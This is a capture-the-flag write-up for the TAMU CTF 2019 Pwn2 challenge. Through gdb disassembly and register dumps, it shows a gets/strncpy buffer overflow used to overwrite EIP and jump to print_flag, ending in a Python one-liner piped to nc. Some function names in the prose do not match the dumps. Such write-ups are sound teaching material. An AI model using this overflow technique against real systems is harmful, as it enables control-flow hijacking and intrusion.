TAMU CTF 2019 Writeups

  1. Pwn
    1. Pwn1
    2. Pwn2
    3. Pwn3
    4. Pwn4
    5. Pwn5
  2. Network/pentest
    1. Stop and listen
    2. Wordpress
    3. Calculator


Challenge Link: nc 4322
Difficulty: easy
Binary Link:

Quickly run the binary locally

root@cbm-guru:/home/root/pracCtf/tamuctf# ./pwn2
Which function would you like to call?

so it asked for enter a name of function but print nothing in return(probably beacause i input is wrong)

ltrace gives information that input is compared with “one”. so give input one and it give slightly diferent output

root@cbm-guru:/home/root/pracCtf/tamuctf# ./pwn2
Which function would you like to call?
This is function one!

but nothing intresting. So i ran this in gdb
and see list of function using “info function” command. There was a main,print_flag,select_func and some other. I disassemble main

gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000007dc <+0>: lea ecx,[esp+0x4]
0x000007e0 <+4>: and esp,0xfffffff0
0x000007e3 <+7>: push DWORD PTR [ecx-0x4]
0x000007e6 <+10>: push ebp
0x000007e7 <+11>: mov ebp,esp
0x000007e9 <+13>: push ebx
0x000007ea <+14>: push ecx
0x000007eb <+15>: sub esp,0x20
0x000007ee <+18>: call 0x5b0 <__x86.get_pc_thunk.bx>
0x000007f3 <+23>: add ebx,0x17c5
0x000007f9 <+29>: mov eax,DWORD PTR [ebx+0x3c]
0x000007ff <+35>: mov eax,DWORD PTR [eax]
0x00000801 <+37>: push 0x0
0x00000803 <+39>: push 0x0
0x00000805 <+41>: push 0x2
0x00000807 <+43>: push eax
0x00000808 <+44>: call 0x520 <setvbuf@plt>
0x0000080d <+49>: add esp,0x10
0x00000810 <+52>: sub esp,0xc
0x00000813 <+55>: lea eax,[ebx-0x1670]
0x00000819 <+61>: push eax
0x0000081a <+62>: call 0x500 <puts@plt>
0x0000081f <+67>: add esp,0x10
0x00000822 <+70>: sub esp,0xc
0x00000825 <+73>: lea eax,[ebp-0x27]
0x00000828 <+76>: push eax
0x00000829 <+77>: call 0x4e0 <gets@plt>
0x0000082e <+82>: add esp,0x10
0x00000831 <+85>: sub esp,0xc
0x00000834 <+88>: lea eax,[ebp-0x27]
0x00000837 <+91>: push eax
0x00000838 <+92>: call 0x77f <select_func>
0x0000083d <+97>: add esp,0x10
0x00000840 <+100>: mov eax,0x0
0x00000845 <+105>: lea esp,[ebp-0x8]
0x00000848 <+108>: pop ecx
0x00000849 <+109>: pop ebx
0x0000084a <+110>: pop ebp
0x0000084b <+111>: lea esp,[ecx-0x4]
0x0000084e <+114>: ret
End of assembler dump.

on main+77 it was gets() again... another buferoverflow.... and at main+92 it call select_func so disassembled that too

gdb-peda$ disassemble select_func
Dump of assembler code for function select_func:
0x0000077f <+0>: push ebp
0x00000780 <+1>: mov ebp,esp
0x00000782 <+3>: push ebx
0x00000783 <+4>: sub esp,0x34
0x00000786 <+7>: call 0x5b0 <__x86.get_pc_thunk.bx>
0x0000078b <+12>: add ebx,0x182d
0x00000791 <+18>: lea eax,[ebx-0x190b]
0x00000797 <+24>: mov DWORD PTR [ebp-0xc],eax
0x0000079a <+27>: sub esp,0x4
0x0000079d <+30>: push 0x1f
0x0000079f <+32>: push DWORD PTR [ebp+0x8]
0x000007a2 <+35>: lea eax,[ebp-0x2a]
0x000007a5 <+38>: push eax
0x000007a6 <+39>: call 0x550 <strncpy@plt>
0x000007ab <+44>: add esp,0x10
0x000007ae <+47>: sub esp,0x8
0x000007b1 <+50>: lea eax,[ebx-0x1675]
0x000007b7 <+56>: push eax
0x000007b8 <+57>: lea eax,[ebp-0x2a]
0x000007bb <+60>: push eax
0x000007bc <+61>: call 0x4d0 <strcmp@plt>
0x000007c1 <+66>: add esp,0x10
0x000007c4 <+69>: test eax,eax
0x000007c6 <+71>: jne 0x7d1 <select_func+82>
0x000007c8 <+73>: lea eax,[ebx-0x1864]
0x000007ce <+79>: mov DWORD PTR [ebp-0xc],eax
0x000007d1 <+82>: mov eax,DWORD PTR [ebp-0xc]
0x000007d4 <+85>: call eax
0x000007d6 <+87>: nop
0x000007d7 <+88>: mov ebx,DWORD PTR [ebp-0x4]
0x000007da <+91>: leave
0x000007db <+92>: ret
End of assembler dump.

as you can see there was a strcpy() call at select_flag+39 hence it was perfect bufferover vulnerability as strcpy doesn't check for length before copy.
to confirm give it a big stream of A's as input and see what is in registers.

gdb-peda$ r
Starting program: /home/root/pracCtf/tamuctf/pwn2
Which function would you like to call?

Program received signal SIGSEGV, Segmentation fault.

EAX: 0x56555641 (<register_tm_clones+65>: adc BYTE PTR [ebx-0x3c3603a3],cl)
EBX: 0x56556fb8 --> 0x1ec0
ECX: 0x6f ('o')
EDX: 0xffffd1ee ('A' <repeats 31 times>, "VUV")
ESI: 0xf7f93000 --> 0x1d9d6c
EDI: 0xf7f93000 --> 0x1d9d6c
EBP: 0xffffd218 --> 0xffffd258 ('A' <repeats 83 times>)
ESP: 0xffffd1dc --> 0x565557d6 (<select_func+87>: nop)
EIP: 0x56555641 (<register_tm_clones+65>: adc BYTE PTR [ebx-0x3c3603a3],cl)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
=> 0x56555641 <register_tm_clones+65>: adc BYTE PTR [ebx-0x3c3603a3],cl
0x56555647 <register_tm_clones+71>: mov esi,esi
0x56555649 <register_tm_clones+73>: lea edi,[edi+eiz*1+0x0]
0x56555650 <__do_global_dtors_aux>: push ebp
0000| 0xffffd1dc --> 0x565557d6 (<select_func+87>: nop)
0004| 0xffffd1e0 --> 0x0
0008| 0xffffd1e4 --> 0xa ('\n')
0012| 0xffffd1e8 --> 0x26 ('&')
0016| 0xffffd1ec --> 0x4141c8a0
0020| 0xffffd1f0 ('A' <repeats 29 times>, "VUV")
0024| 0xffffd1f4 ('A' <repeats 25 times>, "VUV")
0028| 0xffffd1f8 ('A' <repeats 21 times>, "VUV")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x56555641 in register_tm_clones ()

sigsegv nice!!

and info register gives

gdb-peda$ i r
eax 0x56555641 0x56555641
ecx 0x6f 0x6f
edx 0xffffd1ee 0xffffd1ee
ebx 0x56556fb8 0x56556fb8
esp 0xffffd1dc 0xffffd1dc
ebp 0xffffd218 0xffffd218
esi 0xf7f93000 0xf7f93000
edi 0xf7f93000 0xf7f93000
eip 0x56555641 0x56555641 <register_tm_clones+65>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63

you can see that eip has value 0x56555641 which also in eax..... and if understand assembly you know that eax has input in it... so basically the input we gave has touched the eip .... it is not seen as clear as in other bufferoverflows ..... but deep inside we know that we control eip.
now the task is to find offset for eip and frankly speaking i did bruteforce for that and find that 31 A's are enough to sigsegv(However Looking at EDX when got sigsegv also tells the offset), so offset is 31-1 = 30. Now all i have to do is redirect eip to print_flag function so that it print the flag.
What i need was address of print_flag+0(start of print_flag) which i got easily in gdb

gdb-peda$ disassemble print_flag
Dump of assembler code for function print_flag:
0x565556d8 <+0>: push ebp
0x565556d9 <+1>: mov ebp,esp
0x565556db <+3>: push ebx
0x565556dc <+4>: sub esp,0x14
0x565556df <+7>: call 0x565555b0 <__x86.get_pc_thunk.bx>
0x565556e4 <+12>: add ebx,0x18d4
0x565556ea <+18>: sub esp,0xc
0x565556ed <+21>: lea eax,[ebx-0x16c0]
0x565556f3 <+27>: push eax
0x565556f4 <+28>: call 0x56555500 <puts@plt>

so address was 0x565556d8

now all i have to do is give input of 30 A's and this address in endian form and i will have the flag.
python -c 'print "A"*30+"\xd8\x56\x55\x56"'| nc 4322

and output with flag was

root@cbm-guru:/home/root/pracCtf/tamuctf# python -c 'print "A"*30+"\xd8\x56\x55\x56"'| nc 4322
Which function would you like to call?
This function is still under development.